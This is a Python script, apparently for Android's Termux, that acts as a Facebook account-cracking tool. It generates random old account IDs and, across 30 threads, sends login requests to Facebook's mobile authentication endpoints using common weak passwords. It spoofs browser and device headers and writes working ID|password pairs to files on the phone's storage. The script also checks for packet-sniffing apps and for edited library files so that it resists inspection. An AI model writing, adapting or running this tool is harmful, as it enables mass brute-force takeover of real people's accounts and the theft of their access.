‎import os

‎import re

‎import time

‎import uuid

‎import hashlib

‎import random

‎import string

‎import requests

‎import sys

‎import json

‎import urllib

‎from bs4 import BeautifulSoup

‎from random import randint as rr

‎from concurrent.futures import ThreadPoolExecutor as tred

‎from os import system

‎from datetime import datetime

‎

‎# Ensure required modules are installed

‎modules = [‘requests’, ‘urllib3’, ‘mechanize’, ‘rich’]

‎for module in modules:

‎    try:

‎        \_\_import\_\_(module)

‎    except ImportError:

‎        os.system(f’pip install {module}’)

‎

‎# Suppress InsecureRequestWarning

‎from requests.exceptions import ConnectionError

‎from requests import api, models, sessions

‎requests.urllib3.disable\_warnings()

‎# login system

‎import getpass

‎

‎username = “SHAHZADA”

‎password = “BRAND”

‎

‎# username input

‎user = input(“Enter username: “)

‎# password input (hidden)

‎pwd = getpass.getpass(“Enter password: “)

‎

‎if user == username and pwd == password:

‎    print(“✅ Login successful!”)

‎    # yahan apna main tool ya command chalega

‎else:

‎    print(“❌ Wrong username or password!”)

‎    exit()

‎

‎# Initial setup and promotion

‎os.system(‘clear’)

‎print(‘ \x1b[38;5;46mAHB SERVER LOADING….’)

‎

‎

‎os.system(‘pip uninstall requests chardet urllib3 idna certifi -y;pip install chardet urllib3 idna certifi requests’)

‎os.system(‘pip install httpx pip install beautifulsoup4’)

‎print(‘loading Modules …\n’)

‎os.system(‘clear’)

‎os.system(‘xdg-open <https://www.youtube.com/@AliRafique2962-B>’)

‎os.system(‘xdg-open <https://www.facebook.com/BaLoch0654>’)

‎

‎

‎# --- Anti-tampering and Security Checks ---

‎# The script checks if the source code of the ‘requests’ library has been modified

‎# or if packet sniffing tools are being used.

‎try:

‎    api\_body = open(api.\_\_file\_\_, ‘r’).read()

‎    models\_body = open(models.\_\_file\_\_, ‘r’).read()

‎    session\_body = open(sessions.\_\_file\_\_, ‘r’).read()

‎    word\_list = [‘print’, ‘lambda’, ‘zlib.decompress’]

‎    for word in word\_list:

‎        if word in api\_body or word in models\_body or word in session\_body:

‎            exit()

‎except:

‎    pass

‎

‎

‎class sec:

‎    “””

‎    A security class to detect debugging and packet sniffing tools.

‎    “””

‎    def \_\_init\_\_(self):

‎        self.\_\_module\_\_ = \_\_name\_\_

‎        self.\_\_qualname\_\_ = ‘sec’

‎        # Paths to check for modifications

‎        paths = [

‎            ‘/data/data/com.termux/files/usr/lib/python3.12/site-packages/requests/sessions.py’,

‎            ‘/data/data/com.termux/files/usr/lib/python3.12/site-packages/requests/api.py’,

‎            ‘/data/data/com.termux/files/usr/lib/python3.12/site-packages/requests/models.py’

‎        ]

‎        for path in paths:

‎            if ‘print’ in open(path, ‘r’).read():

‎                self.fuck()

‎        # Check for HTTPCanary (a packet sniffing app)

‎        if os.path.exists(‘/storage/emulated/0/x8zs/app\_icon/com.guoshi.httpcanary.png’):

‎            self.fuck()

‎        if os.path.exists(‘/storage/emulated/0/Android/data/com.guoshi.httpcanary’):

‎            self.fuck()

‎

‎    def fuck(self):

‎        “””

‎        Terminates the script if tampering is detected.

‎        “””

‎        print(‘ \x1b[1;32m Congratulations ! ‘)

‎        self.linex()

‎        exit()

‎

‎    def linex(self):

‎        print(‘\x1b[38;5;48m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━’)

‎

‎

‎# Global variables

‎method = []

‎oks = []

‎cps = []

‎loop = 0

‎user = []

‎

‎# Color codes for terminal output

‎X = ‘\x1b[1;37m’

‎rad = ‘\x1b[38;5;196m’

‎G = ‘\x1b[38;5;46m’

‎Y = ‘\x1b[38;5;220m’

‎PP = ‘\x1b[38;5;203m’

‎RR = ‘\x1b[38;5;196m’

‎GS = ‘\x1b[38;5;40m’

‎W = ‘\x1b[1;37m’

‎

‎

‎def windows():

‎    “””

‎    Generates a random Windows User-Agent string.

‎    “””

‎    aV = str(random.choice(range(10, 20)))

‎    A = f”Mozilla/5.0 (Windows; U; Windows NT {str(random.choice(range(5, 7)))}.1; en-US) AppleWebKit/534.{aV} (KHTML, like Gecko) Chrome/{str(random.choice(range(8, 12)))}.0.{str(random.choice(range(552, 661)))}.0 Safari/534.{aV}”

‎    bV = str(random.choice(range(1, 36)))

‎    bx = str(random.choice(range(34, 38)))

‎    bz = f’5{bx}.{bV}’

‎    B = f”Mozilla/5.0 (Windows NT {str(random.choice(range(5, 7)))}.{str(random.choice([‘2’, ‘1’]))}) AppleWebKit/{bz} (KHTML, like Gecko) Chrome/{str(random.choice(range(12, 42)))}.0.{str(random.choice(range(742, 2200)))}.{str(random.choice(range(1, 120)))} Safari/{bz}”

‎    cV = str(random.choice(range(1, 36)))

‎    cx = str(random.choice(range(34, 38)))

‎    cz = f’5{cx}.{cV}’

‎    C = f”Mozilla/5.0 (Windows NT 6.{str(random.choice([‘2’, ‘1’]))}; WOW64) AppleWebKit/{cz} (KHTML, like Gecko) Chrome/{str(random.choice(range(12, 42)))}.0.{str(random.choice(range(742, 2200)))}.{str(random.choice(range(1, 120)))} Safari/{cz}”

‎    D = f”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.{str(random.choice(range(1, 7120)))}.0 Safari/537.36”

‎    return random.choice([A, B, C, D])

‎

‎

‎def window1():

‎    “””

‎    Generates another variant of a random Windows User-Agent string.

‎    “””

‎    aV = str(random.choice(range(10, 20)))

‎    A = f”Mozilla/5.0 (Windows; U; Windows NT {random.choice(range(6, 11))}.0; en-US) AppleWebKit/534.{aV} (KHTML, like Gecko) Chrome/{random.choice(range(80, 122))}.0.{random.choice(range(4000, 7000))}.0 Safari/534.{aV}”

‎    bV = str(random.choice(range(1, 36)))

‎    bx = str(random.choice(range(34, 38)))

‎    bz = f’5{bx}.{bV}’

‎    B = f”Mozilla/5.0 (Windows NT {random.choice(range(6, 11))}.{random.choice([‘0’, ‘1’])}) AppleWebKit/{bz} (KHTML, like Gecko) Chrome/{random.choice(range(80, 122))}.0.{random.choice(range(4000, 7000))}.{random.choice(range(50, 200))} Safari/{bz}”

‎    cV = str(random.choice(range(1, 36)))

‎    cx = str(random.choice(range(34, 38)))

‎    cz = f’5{cx}.{cV}’

‎    C = f”Mozilla/5.0 (Windows NT 6.{random.choice([‘0’, ‘1’, ‘2’])}; WOW64) AppleWebKit/{cz} (KHTML, like Gecko) Chrome/{random.choice(range(80, 122))}.0.{random.choice(range(4000, 7000))}.{random.choice(range(50, 200))} Safari/{cz}”

‎    latest\_build = rr(6000, 9000)

‎    latest\_patch = rr(100, 200)

‎    D = f”Mozilla/5.0 (Windows NT {random.choice([’10.0’, ’11.0’])}; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.{latest\_build}.{latest\_patch} Safari/537.36”

‎    return random.choice([A, B, C, D])

‎

‎

‎# Set window title

‎sys.stdout.write(‘\x1b]2;𓆩【W W K 👑 】𓆪 \x07’)

‎

‎

‎    # WWK Clover Logo – Green – Version 2.5

‎def \_\_\_\_banner\_\_\_\_():

‎    if ‘win’ in sys.platform:

‎        os.system(‘cls’)

‎    else:

‎        os.system(‘clear’)

‎

‎    print(“””\033[1;32m

‎

‎               ░█████╗░  ██╗░░██╗  ██████╗░

‎               ██╔══██╗  ██║░░██║  ██╔══██╗

‎               ███████║  ███████║  ██████╦╝

‎               ██╔══██║  ██╔══██║  ██╔══██╗

‎               ██║░░██║  ██║░░██║  ██████╦╝

‎               ╚═╝░░╚═╝  ╚═╝░░╚═╝  ╚═════╝░

‎\033[0m”””)

‎

‎

‎def creationyear(uid):

‎    “””

‎    Estimates the Facebook account creation year based on the UID.

‎    “””

‎    if len(uid) == 15:

‎        if uid.startswith(‘1000000000’):

‎            return ‘2009’

‎        if uid.startswith(‘100000000’):

‎            return ‘2009’

‎        if uid.startswith(‘10000000’):

‎            return ‘2009’

‎        if uid.startswith((‘1000000’, ‘1000001’, ‘1000002’, ‘1000003’, ‘1000004’, ‘1000005’)):

‎            return ‘2009’

‎        if uid.startswith((‘1000006’, ‘1000007’, ‘1000008’, ‘1000009’)):

‎            return ‘2010’

‎        if uid.startswith(‘100001’):

‎            return ‘2010’

‎        if uid.startswith((‘100002’, ‘100003’)):

‎            return ‘2011’

‎        if uid.startswith(‘100004’):

‎            return ‘2012’

‎        if uid.startswith((‘100005’, ‘100006’)):

‎            return ‘2013’

‎        if uid.startswith((‘100007’, ‘100008’)):

‎            return ‘2014’

‎        if uid.startswith(‘100009’):

‎            return ‘2015’

‎        if uid.startswith(‘10001’):

‎            return ‘2016’

‎        if uid.startswith(‘10002’):

‎            return ‘2017’

‎        if uid.startswith(‘10003’):

‎            return ‘2018’

‎        if uid.startswith(‘10004’):

‎            return ‘2019’

‎        if uid.startswith(‘10005’):

‎            return ‘2020’

‎        if uid.startswith(‘10006’):

‎            return ‘2021’

‎        if uid.startswith(‘10009’):

‎            return ‘2023’

‎        if uid.startswith((‘10007’, ‘10008’)):

‎            return ‘2022’

‎        return ‘’

‎    elif len(uid) in (9, 10):

‎        return ‘2008’

‎    elif len(uid) == 8:

‎        return ‘2007’

‎    elif len(uid) == 7:

‎        return ‘2006’

‎    elif len(uid) == 14 and uid.startswith(‘61’):

‎        return ‘2024’

‎    else:

‎        return ‘’

‎

‎

‎def clear():

‎    os.system(‘clear’)

‎

‎

‎def linex():

‎    print(‘\x1b[38;5;48m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━’)

‎

‎

‎def BNG\_71\_():

‎    “””

‎    Main menu function.

‎    “””

‎    \_\_\_\_banner\_\_\_\_()

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mA\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mOLD CLONE’)

‎    linex()

‎    \_\_Jihad\_\_ = input(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;41mCHOICE  {W}: {Y}”)

‎    if \_\_Jihad\_\_ in (‘A’, ‘a’, ‘01’, ‘1’):

‎        old\_clone()

‎    else:

‎        print(f”\n    {rad}Choose Valid Option… “)

‎        time.sleep(2)

‎        BNG\_71\_()

‎

‎

‎def old\_clone():

‎    “””

‎    Menu for selecting old account cloning type.

‎    “””

‎    \_\_\_\_banner\_\_\_\_()

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mA\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;49mALL SERIES’)

‎    linex()

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mB\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;49m100003/4 SERIES’)

‎    linex()

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mC\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;49m2009 series’)

‎    linex()

‎    \_input = input(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;41mCHOICE  {W}: {Y}”)

‎    if \_input in (‘A’, ‘a’, ‘01’, ‘1’):

‎        old\_One()

‎    elif \_input in (‘B’, ‘b’, ‘02’, ‘2’):

‎        old\_Tow()

‎    elif \_input in (‘C’, ‘c’, ‘03’, ‘3’):

‎        old\_Tree()

‎    else:

‎        print(f”\n[×]{rad} Choose Value Option… “)

‎        BNG\_71\_()

‎

‎

‎def old\_One():

‎    “””

‎    Cloning method for accounts from 2010-2014.

‎    “””

‎    user = []

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;49mOld Code {Y}:{G} 2010-2014”)

‎    ask = input(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;41mSELECT {Y}:{G} “)

‎    linex()

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mEXAMPLE {Y}:{G} 20000 / 30000 / 99999”)

‎    limit = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mSELECT {Y}:{G} “)

‎    linex()

‎    star = ‘10000’

‎    for \_ in range(int(limit)):

‎        data = str(random.choice(range(1000000000, 1999999999 if ask == ‘1’ else 4999999999)))

‎        user.append(data)

‎    print(‘        \x1b[38;5;196m(\x1b[1;37mA\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mMETHOD 1’)

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mB\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mMETHOD 2’)

‎    linex()

‎    meth = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mCHOICE {W}(A/B): {Y}”).strip().upper()

‎    with tred(max\_workers=30) as pool:

‎        \_\_\_\_banner\_\_\_\_()

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mTOTAL ID FROM CRACK {Y}: {G} {limit}{W}”)

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m>\x1b[38;5;196m×\x1b[1;37m<\x1b[38;5;46mUSE AIRPLANE MOD FOR GOOD RESULT{G}”)

‎        linex()

‎        for mal in user:

‎            uid = star + mal

‎            if meth == ‘A’:

‎                pool.submit(login\_1, uid)

‎            elif meth == ‘B’:

‎                pool.submit(login\_2, uid)

‎            else:

‎                print(f”    {rad}[!] INVALID METHOD SELECTED”)

‎                break

‎

‎

‎def old\_Tow():

‎    “””

‎    Cloning method for accounts with specific prefixes.

‎    “””

‎    user = []

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mOLD CODE {Y}:{G} 2010-2014”)

‎    ask = input(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mSELECT {Y}:{G} “)

‎    linex()

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mEXAMPLE {Y}:{G} 20000 / 30000 / 99999”)

‎    limit = input(f”       \x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mSELECT {Y}:{G} “)

‎    linex()

‎    prefixes = [‘100003’, ‘100004’]

‎    for \_ in range(int(limit)):

‎        prefix = random.choice(prefixes)

‎        suffix = ‘’.join(random.choices(‘0123456789’, k=9))

‎        uid = prefix + suffix

‎        user.append(uid)

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mA\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mMETHOD A’)

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mB\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mMETHOD B’)

‎    linex()

‎    meth = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mCHOICE {W}(A/B): {Y}”).strip().upper()

‎    with tred(max\_workers=30) as pool:

‎        \_\_\_\_banner\_\_\_\_()

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mTOTAL ID FROM CRACK {Y}: {G} {limit}{W}”)

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mUSE AIRPLANE MOD FOR GOOD RESULT{G}”)

‎        linex()

‎        for uid in user:

‎            if meth == ‘A’:

‎                pool.submit(login\_1, uid)

‎            elif meth == ‘B’:

‎                pool.submit(login\_2, uid)

‎            else:

‎                print(f”    {rad}[!] INVALID METHOD SELECTED”)

‎                break

‎

‎

‎def old\_Tree():

‎    “””

‎    Cloning method for accounts from 2009-2010.

‎    “””

‎    user = []

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mOLD CODE {Y}:{G} 2009-2010”)

‎    ask = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mSELECT {Y}:{G} “)

‎    linex()

‎    \_\_\_\_banner\_\_\_\_()

‎    print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mEXAMPLE {Y}:{G} 20000 / 30000 / 99999”)

‎    limit = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mTOTAL ID COUNT {Y}:{G} “)

‎    linex()

‎    prefix = ‘1000004’

‎    for \_ in range(int(limit)):

‎        suffix = ‘’.join(random.choices(‘0123456789’, k=8))

‎        uid = prefix + suffix

‎        user.append(uid)

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mA\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mMETHOD A’)

‎    print(‘       \x1b[38;5;196m(\x1b[1;37mB\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mMethod B’)

‎    linex()

‎    meth = input(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mCHOICE {W}(A/B): {Y}”).strip().upper()

‎    with tred(max\_workers=30) as pool:

‎        \_\_\_\_banner\_\_\_\_()

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mTOTAL ID FROM CRACK {Y}: {G}{limit}{W}”)

‎        print(f”       \x1b[38;5;196m(\x1b[1;37m★\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;46mUSE AIRPLANE MOD FOR GOOD RESULT{G}”)

‎        linex()

‎        for uid in user:

‎            if meth == ‘A’:

‎                pool.submit(login\_1, uid)

‎            elif meth == ‘B’:

‎                pool.submit(login\_2, uid)

‎            else:

‎                print(f”    {rad}[!] INVALID METHOD SELECTED”)

‎                break

‎

‎

‎def login\_1(uid):

‎    “””

‎    Login attempt method 1.

‎    “””

‎    global loop

‎    session = requests.session()

‎    try:

‎        sys.stdout.write(f”\r\r\x1b[1;37m\x1b[38;5;196m+\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mAHB-M1\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[38;5;192m{loop}\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mOK\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[38;5;192m{len(oks)}\x1b[38;5;196m)”)

‎        sys.stdout.flush()

‎        for pw in (‘123456’, ‘1234567’, ‘12345678’, ‘123456789’):

‎            data = {

‎                ‘adid’: str(uuid.uuid4()),

‎                ‘format’: ‘json’,

‎                ‘device\_id’: str(uuid.uuid4()),

‎                ‘cpl’: ‘true’,

‎                ‘family\_device\_id’: str(uuid.uuid4()),

‎                ‘credentials\_type’: ‘device\_based\_login\_password’,

‎                ‘error\_detail\_type’: ‘button\_with\_disabled’,

‎                ‘source’: ‘device\_based\_login’,

‎                ‘email’: str(uid),

‎                ‘password’: str(pw),

‎                ‘access\_token’: ‘350685531728|62f8ce9f74b12f84c123cc23437a4a32’,

‎                ‘generate\_session\_cookies’: ‘1’,

‎                ‘meta\_inf\_fbmeta’: ‘’,

‎                ‘advertiser\_id’: str(uuid.uuid4()),

‎                ‘currently\_logged\_in\_userid’: ‘0’,

‎                ‘locale’: ‘en\_US’,

‎                ‘client\_country\_code’: ‘US’,

‎                ‘method’: ‘auth.login’,

‎                ‘fb\_api\_req\_friendly\_name’: ‘authenticate’,

‎                ‘fb\_api\_caller\_class’: ‘com.facebook.account.login.protocol.Fb4aAuthHandler’,

‎                ‘api\_key’: ‘882a8490361da98702bf97a021ddc14d’

‎            }

‎            headers = {

‎                ‘User-Agent’: window1(),

‎                ‘Content-Type’: ‘application/x-www-form-urlencoded’,

‎                ‘Host’: ‘graph.facebook.com’,

‎                ‘X-FB-Net-HNI’: ‘25227’,

‎                ‘X-FB-SIM-HNI’: ‘29752’,

‎                ‘X-FB-Connection-Type’: ‘MOBILE.LTE’,

‎                ‘X-Tigon-Is-Retry’: ‘False’,

‎                ‘x-fb-session-id’: ‘nid=jiZ+yNNBgbwC;pid=Main;tid=132;’,

‎                ‘x-fb-device-group’: ‘5120’,

‎                ‘X-FB-Friendly-Name’: ‘ViewerReactionsMutation’,

‎                ‘X-FB-Request-Analytics-Tags’: ‘graphservice’,

‎                ‘X-FB-HTTP-Engine’: ‘Liger’,

‎                ‘X-FB-Client-IP’: ‘True’,

‎                ‘X-FB-Server-Cluster’: ‘True’,

‎                ‘x-fb-connection-token’: ‘d29d67d37eca387482a8a5b740f84f62’

‎            }

‎            res = session.post(‘https://b-graph.facebook.com/auth/login’, data=data, headers=headers, allow\_redirects=False).json()

‎            if ‘session\_key’ in res:

‎                print(f”\r\r\x1b[1;37m>\x1b[38;5;196m├Ч\x1b[1;37m<\x1b[38;5;196m(\x1b[1;37mAHB\x1b[38;5;196m) \x1b[1;97m= \x1b[38;5;46m{uid} \x1b[1;97m= \x1b[38;5;46m{pw} \x1b[1;97m= \x1b[38;5;45m{creationyear(uid)}”)

‎                open(‘/sdcard/AHB-OLD-M1-OK.txt’, ‘a’).write(f”{uid}|{pw}\n”)

‎                oks.append(uid)

‎                break

‎            elif ‘www.facebook.com’ in res.get(‘error’, {}).get(‘message’, ‘’):

‎                print(f”\r\r\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mAHB\x1b[38;5;196m) \x1b[1;97m= \x1b[38;5;46m{uid} \x1b[1;97m= \x1b[38;5;46m{pw} \x1b[1;97m= \x1b[38;5;45m{creationyear(uid)}”)

‎                open(‘/sdcard/AHB-OLD-M1-OK.txt’, ‘a’).write(f”{uid}|{pw}\n”)

‎                oks.append(uid)

‎                break

‎        loop += 1

‎    except Exception:

‎        time.sleep(5)

‎

‎

‎def login\_2(uid):

‎    “””

‎    Login attempt method 2.

‎    “””

‎    sys.stdout.write(f”\r\r\x1b[1;37m\x1b[38;5;196m+\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mAHB-M2\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[38;5;192m{loop}\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mOK\x1b[38;5;196m)\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[38;5;192m{len(oks)}\x1b[38;5;196m)”)

‎

‎    for pw in (‘123456’, ‘123123’, ‘1234567’, ‘12345678’, ‘123456789’):

‎        try:

‎            with requests.Session() as session:

‎                headers = {

‎                    ‘x-fb-connection-bandwidth’: str(rr(20000000, 29999999)),

‎                    ‘x-fb-sim-hni’: str(rr(20000, 40000)),

‎                    ‘x-fb-net-hni’: str(rr(20000, 40000)),

‎                    ‘x-fb-connection-quality’: ‘EXCELLENT’,

‎                    ‘x-fb-connection-type’: ‘cell.CTRadioAccessTechnologyHSDPA’,

‎                    ‘user-agent’: window1(),

‎                    ‘content-type’: ‘application/x-www-form-urlencoded’,

‎                    ‘x-fb-http-engine’: ‘Liger’

‎                }

‎                url = f”https://b-api.facebook.com/method/auth.login?format=json&email={str(uid)}&password={str(pw)}&credentials\_type=device\_based\_login\_password&generate\_session\_cookies=1&error\_detail\_type=button\_with\_disabled&source=device\_based\_login&meta\_inf\_fbmeta=%20¤tly\_logged\_in\_userid=0&method=GET&locale=en\_US&client\_country\_code=US&fb\_api\_caller\_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access\_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb\_api\_req\_friendly\_name=authenticate&cpl=true”

‎                po = session.get(url, headers=headers).json()

‎                if ‘session\_key’ in str(po):

‎                    print(f”\r\r\x1b[1;37m\x1b[38;5;196m\x1b[1;37m<\x1b[38;5;196m(\x1b[1;37mAHB\x1b[38;5;196m) \x1b[1;97m= \x1b[38;5;46m{uid} \x1b[1;97m= \x1b[38;5;46m{pw} \x1b[1;97m= \x1b[38;5;45m{creationyear(uid)}”)

‎                    open(‘/sdcard/AHB-OLD-M2-OK.txt’, ‘a’).write(f”{uid}|{pw}\n”)

‎                    oks.append(uid)

‎                    break

‎                elif ‘session\_key’ in po:

‎                    print(f”\r\r\x1b[1;37m\x1b[38;5;196m\x1b[1;37m\x1b[38;5;196m(\x1b[1;37mAHB\x1b[38;5;196m) \x1b[1;97m= \x1b[38;5;46m{uid} \x1b[1;97m= \x1b[38;5;46m{pw} \x1b[1;97m= \x1b[38;5;45m{creationyear(uid)}”)

‎                    open(‘/sdcard/AHB-OLD-M2-OK.txt’, ‘a’).write(f”{uid}|{pw}\n”)

‎                    oks.append(uid)

‎                    break

‎        except Exception as e:

‎            pass

‎    loop += 1

‎

‎if \_\_name\_\_ == ‘\_\_main\_\_’:

‎    BNG\_71\_()